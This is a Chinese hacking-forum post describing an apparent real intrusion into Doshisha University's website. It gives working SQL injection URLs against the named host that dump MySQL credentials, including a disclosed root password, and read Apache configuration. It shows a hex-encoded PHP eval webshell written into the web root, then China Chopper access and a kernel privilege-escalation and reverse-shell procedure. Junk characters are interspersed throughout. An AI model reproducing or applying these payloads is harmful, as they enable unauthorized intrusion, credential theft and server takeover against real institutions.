入侵日本同志社大学技术分析
% G6 ~9 H2 V% e
. o$ W/ p" n; [% N7 b0 Ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
% X E: m$ o: ? [( B7 g( y# h" U然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:" d/ S' |# O+ |5 `. }
; }. B1 z9 r$ c7 ~& Ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
$ E7 v: u7 h W1 E& ~7 ^
: T/ _5 b9 o" V0 f6 u ; j- |7 { A) P( Q* K) a+ o
; K5 g1 Y7 a0 b/ p$ M3 S7 d' d
//@@datadir为数据库文件路径
$ A) Y* T2 I0 m8 e$ O; A3 J
! O/ Q( ^5 n+ G' l, E2 I2 E
- u, v7 c3 z9 Z2 Q3 M" ?//load_file读取网站容器apache的配置文件
& Z3 g; _3 f |' s" e+ V 3 ]+ C" v& ?2 w2 x T3 x* b8 C5 m
3 W ~) [; i- X0 Q; m
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
/ `, r+ p/ T$ _- T# a6 i5 o复制代码
4 C+ X# G p+ e. u( P$ }
5 o Y/ N7 ~ M" s2 f虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
$ O! D1 w2 X6 H% ?3 w
) ]9 i7 Q; M: m: c% G; \9 r; {( H而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。) e/ g$ r0 }" c; C7 y0 r% ~0 m; \
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)+ ?9 m4 g2 u* Z8 K: p! q
8 B, S* d1 v. B: B7 z( S前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。, Z/ X ]) R' a+ m
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html% E4 l. |6 i/ {! E
0 [5 F8 d2 k1 a, l8 M既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
; V- u, n7 m+ B" F4 G虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
& E+ x: k3 Z' r8 [: S5 J& N4 u% ?8 d9 i直接写一句话:
: `. y( _6 N5 ] g: H0 f9 n* [3 F' ?2 {3 I5 L! ]
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
1 R; Z3 _& G4 \ K' O
* |) I( p L5 Y0 P 9 U# a' N- i( W5 m; c
7 C$ Y; Z/ a3 t- |& p2 z//最后的#是为了闭合前面的语句
. u9 O* H. U9 U0 X0 E
6 I( P. F Q! ?5 z$ ?/ O( ^. B" c1 P; n' c; k; J: `6 B6 e U! x
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
- r; ?$ U7 A2 X# p
7 N' {1 r8 T! m8 G8 u% q2 v% _, p; B
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
- d) J7 L1 h* G% E) ` S3 \( M! \ 3 Q* h9 @! P( O# x7 q a2 s2 f
4 Z0 D! }) i% L A//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
: v" O. s/ s- T: j6 t; ]: C
a; u& A% r( {
3 o! t+ D4 q0 A//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 & N- g8 F+ }$ B
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
$ k( ]4 V& i7 Z3 g$ m复制代码; L0 ^; r1 C2 f2 _: c/ I! Q( k
* x: ?# r/ A3 O# yHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
' q& c4 C5 N( o7 g' ?通过上述注入语句,我们就得到了一句话木马:" I8 Y+ ~8 g3 [
0 C0 g8 i( a$ _) D
6 r0 l, D G! u$ c% l0 C7 n' b3 A9 Y! H* ?: U8 W& N
3 t: B2 G: ~& d% _
# r" d" n' g! l5 W' K' f0 vhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 9 ?6 n% J6 I, q: H# a# P0 ^2 S
复制代码8 k9 H; |9 Y$ ]: ?7 i" \5 i
( F1 \+ ~" n' e7 w7 M" R) @) _用菜刀连接,密码是cmd,如图所示:
# j# P7 G2 @- x% `然后在命令提示行里看了一下,现在的权限是:
1 T1 W" R: {% C/ N1 S4 a g1 A2 t2 _) i6 X+ v* H% l
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。5 ~5 p3 y( p& q" Q
好在赋权给这个文件夹不需要root,直接执行赋权语句:1 c! @& d8 y+ ~, k3 O
) P0 ~, r |! ~) m% F; |
/ P! V2 {. m' c1 [$ |+ Y" Z
; _' K! t: e4 C# h" Q
# U! Y8 I0 ^1 x
, h8 v" m* j, dchmod +x /tmp/
. ?6 ?8 P) Y3 F) q7 b复制代码 w3 ~# ~8 A/ n" g
, [" O: P6 h4 e在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
: {% U) h! b7 Q( F7 J然后就查了一下内核版本:* _ H; O% x; p Q2 f$ ]
9 A! E' x+ @% I' k- j/ R; I
8 ^/ J1 c! p3 I$ V6 }, s4 O; V$ W/ B0 i7 |) E5 F* r0 z. Q( L" Z
$ h1 G: i( I- h: [2 ?' Y% P
9 g; M5 E: B8 o+ _" V1 ]uname-a % @! Y/ Q+ N, N
- L1 s# ?) B2 Q6 H1 R
; o6 a6 `* f2 N) i0 j) i Y% n
//其实lsb_release -a
D& ^% Z9 _. |+ H复制代码+ |, A6 H, ~6 {1 K6 Q2 T
$ Y" o: u% d/ x$ }* i2 Y) V如图所示:" q! Q9 x9 w- c! g0 j
& t- [5 d9 s1 g' u( ?& s6 I- p内核版本:linux mainz1 2.6.28-194.e155 l' K3 z5 B' z. Y% h( A4 H ^. d6 c
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
5 I+ C8 h6 Z \" }( r, ~查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹4 d6 l. `5 n/ k" @% O" y. x' ]( ~5 m3 x% _
& j8 J$ ?) Z ~5 v/ {- h
然后给予执行权限
, j$ e6 M3 b# o& B* J7 Z) p一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
; H! @# y- ?$ E T
4 E5 q4 n" L, k
' B& E4 b" D z% `# p5 r
' z J7 y' H' f! I5 d i ) b% X4 R. O0 c/ O' v
/ a0 X! e R; Z, v. n" |$ m
chmod +x /tmp/2.6.18-194
* y8 |( a2 ^$ J* F. J( T复制代码 然后直接执行!~
5 I' W5 u4 w. g) L: V/ G, m+ Z; O& G. \. l
总结:
3 X: ?9 y, [# ]0 U$ I7 R8 f这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了, P! k# T) @+ Z3 K2 ]' [; V
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( z; |: M1 u, A
% ?7 `% @# F# a1 j5 [% l' d |